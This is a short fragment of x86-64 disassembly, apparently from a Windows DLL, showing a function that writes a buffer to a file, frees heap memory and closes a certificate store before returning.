cmp eax, ebx
je 0x1800011e7
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800011e7
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea r9, [rsp + 0x80]
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x180037ae8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.CRYPT32.dll_CertCloseStore]
mov rcx, qword [0x180037ae8]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180037ae8]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret